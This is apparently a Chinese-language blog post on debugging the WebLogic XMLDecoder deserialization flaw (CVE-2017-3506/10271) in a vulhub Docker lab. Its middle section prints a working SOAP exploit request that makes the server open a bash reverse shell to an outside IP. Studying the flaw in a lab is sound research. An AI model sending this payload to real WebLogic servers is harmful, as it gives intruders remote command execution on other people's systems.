目录

CVE-2017-3506&10271

weblogic在10.3.3版本时引入了wsat包来支持Web Services Atomic Transaction,而在引用该包时,未对使用的数据进行过滤,造成了JAVA反序列化。

WebLogicWeb services enable interoperability with other external transaction processingsystems, such as Websphere, JBoss, Microsoft .NET, and so on, through thesupport of the following specifications:

Web Services Atomic Transaction(WS-AtomicTransaction) Versions 1.0, 1.1, and 1.2

环境搭建

利用现有docker进行搭建CVE-2017-10271

下载后,修改docker-compose.yml,增添一个调试端口。

1
2
3
4
5
6
7
version: '2'
services:
 weblogic:
   image: vulhub/weblogic:10.3.6.0-2017
   ports:
    - "7001:7001"
    - "8470:8470"

进入docker镜像中,修改 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh文件,添加以下内容。

1
2
3
debugFlag="true"
expot debugFlag
DEBUG_PORT=8470

https://gitee.com/nopnoping/img/raw/master/img/image-20211001225844451.png

注意该三行内容需要添加到图中所示位置。

将root目录下的所有文件拷贝下来,重启docker,并利用IDEA打开wlserver_10.3文件,并添加wlserver_10.3\server\lib和modules库,并配置JDK为1.6版本,然后在调试命令中,建立Remote JVM Debug调试。

https://gitee.com/nopnoping/img/raw/master/img/image-20211001230348400.png

https://gitee.com/nopnoping/img/raw/master/img/image-20211001230355337.png

https://gitee.com/nopnoping/img/raw/master/img/image-20211001230402447.png

动态调试

利用网上的POC代码,在burp中发送命令,并在XMLDecoder的readObject()函数处加上断点。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1

Host: your-ip:7001

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: text/xml

Content-Length: 637



<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0" class="java.beans.XMLDecoder">

<object class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/172.25.13.172/123 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></object>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

向weblogic发送POC后,将会断在readObject处,查看调用栈。

https://gitee.com/nopnoping/img/raw/master/img/image-20211001230726299.png

其中最关键的两个函数分别是processRequest和readHeaderOld。

processRequest函数将会把接收到的请求,进行处理,提取出其中的xml交给readHeaderold。

https://gitee.com/nopnoping/img/raw/master/img/image-20211001230945789.png

readHeaderOld函数会将xml数据传递给XMLDecoder,在后续将会对该XMLDecoder对象调用readobject。

https://gitee.com/nopnoping/img/raw/master/img/image-20211001231159217.png

https://gitee.com/nopnoping/img/raw/master/img/image-20211001231213746.png

总结

在动态调试时,可先将断点打在终点处,再利用调用栈中的信息,来回溯整个过程。

在远程调试时报handshake failed - connection prematurally closed错误。

最后通过添加DEBUG_PORT=8470解决。

参考

docker+IDEA环境搭建

IDEA+docker,进行远程漏洞调试(weblogic)

WebLogic XMLDecoder反序列化漏洞

intellij使用docker来调试

本地weblogic调试

WebLogic 动态调试环境搭建

weblogic一键环境工具

WeblogicEnvironment

CVE参考

浅谈Weblogic反序列化——XMLDecoder的绕过史